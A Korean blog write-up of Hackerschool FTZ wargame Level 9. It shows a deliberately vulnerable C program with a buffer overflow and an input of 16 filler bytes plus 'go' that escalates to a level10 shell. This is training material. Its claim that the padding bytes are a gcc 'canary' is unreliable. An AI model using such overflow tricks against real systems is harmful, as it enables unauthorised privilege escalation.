로그인하자마자 ls -al과 find / -group level9를 실행해보았다. 아래는 find의 결과이다.
$ find / -group level9 2>/dev/null
/proc/10693
/proc/10694
/proc/10694/fd
/proc/10694/fd/0
/proc/10694/fd/1
/proc/10694/fd/2
/proc/10694/fd/255
/proc/10694/environ
/proc/10694/status
/proc/10694/cmdline
/proc/10694/stat
/proc/10694/statm
/proc/10694/maps
/proc/10694/mem
/proc/10694/cwd
/proc/10694/root
/proc/10694/exe
/proc/10694/mounts
/proc/10777
/usr/bin/bof
/home/level9
/home/level9/tmp
/home/level9/public_html
/home/level9/public_html/index.html
중간에 /usr/bin/bof가 보인다. bof는 보통 버퍼 오버플로우(Buffer OverFlow)의 약자로 쓰이는데... 일단은 실행해보았다.
[level9@ftz level9]$ bof
It can be overflow : 1234123412341234
[level9@ftz level9]$
역시나 오버플로우 문제이다. 문제는, 해당 입력에서 수용할 수 있는 최대치가 얼마인지 모르고, 오버플로우를 이용해 어느 메모리를 어떻게 공격해야 하는지도 모른다는 것이다. 이쯤에서 힌트를 보기로 했다.
[level9@ftz level9]$ cat hint
다음은 /usr/bin/bof의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
이를 이용하여 level10의 권한을 얻어라.
bof의 소스코드를 알려준다. buf2의 값을 go로 바꾸면 id를 3010으로 바꾸고 쉘을 띄우는 코드이다. 3010은 level10의 아이디이다.
지역 변수는 스택에 생성되고, 스택은 큰 주소에서 부터 할당된다. (커널 영역을 건들지 않기 위해)
buf2를 먼저 선언했고 그 후에 buf를 선언했기 때문에, 메모리의 주소가 작은 부분부터 buf, buf2가 존재할 것이다.
buf의 메모리 (10byte) | buf2의 메모리 (10byte) |
각각은 10바이트의 크기를 가지고 입력은 40바이트까지이기 때문에, 단순하게 아무 문자나 10개 넣은 후에 go를 넣어주면 buf1에 go가 저장될 것 같아서 "AAAAAAAAAAgo"를 입력해보았다.
[level9@ftz tmp]$ bof
It can be overflow : AAAAAAAAAAgo
[level9@ftz tmp]$
아무 일도 일어나지 않았다. buf와 buf1이 연속으로 존재하는게 아닌가 싶어서, 힌트의 소스코드를 복사하여 조건문 직전에 buf와 buf1의 메모리 주소를 16진수로 출력하는 코드를 작성한 후에 실행해보았다.
[level9@ftz tmp]$ ./test
It can be overflow : AAAAAAAAAAgo
&buf = bfffeec0
&buf2 = bfffeed0
buf의 시작주소와 buf2의 시작주소가 정확히 16만큼 차이가 났다. 그러니까 buf의 메모리 주소는 bfffeec0 ~ bfffeec9 이고, bfffeeca~bfffeecf는 비어있고, bfffeed0 ~ bfffeed9가 buf2의 공간이다. 그림으로 나타내면 다음과 같다.
buf의 메모리 (10byte) | dummy(6byte) | buf2의 메모리 (10byte) |
gcc 컴파일러는 스택에 할당 된 변수들에 대해 버퍼 오버플로우를 방지하고자 변수 사이에 더미(dummy)를 넣어주는데, 이들을 카나리(canary)라고 한다. 해당 코드에선 6바이트 크기의 카나리가 생성되어 buf의 시작주소로부터 16바이트 뒤에 buf1의 주소가 할당된 것이다. 그러니 입력을 16바이트의 아무런 값 + "go"를 넣어준다면 level10의 쉘이 실행될 것이다.
[level9@ftz tmp]$ bof
It can be overflow : AAAAAAAAAAAAAAAAgo
Good Skill!
[level10@ftz tmp]$
예상대로 level10의 쉘이 실행되었다. 이제 my-pass를 통해 비밀번호를 출력하고 level10으로 로그인 하면 된다.
'Pwnable > FTZ' 카테고리의 다른 글
[ProjectH4C] [Write-up] 해커스쿨 FTZ Level 8 (0) | 2020.08.09 |
---|---|
[ProjectH4C] [Write-up] 해커스쿨 FTZ Level 7 (0) | 2020.08.08 |
[ProjectH4C] [Write-up] 해커스쿨 FTZ Level 6 (0) | 2020.08.04 |
[ProjectH4C] [Write-up] 해커스쿨 FTZ Level 5 (0) | 2020.08.04 |
[ProjectH4C] [Write-up] 해커스쿨 FTZ Level 4 (0) | 2020.08.03 |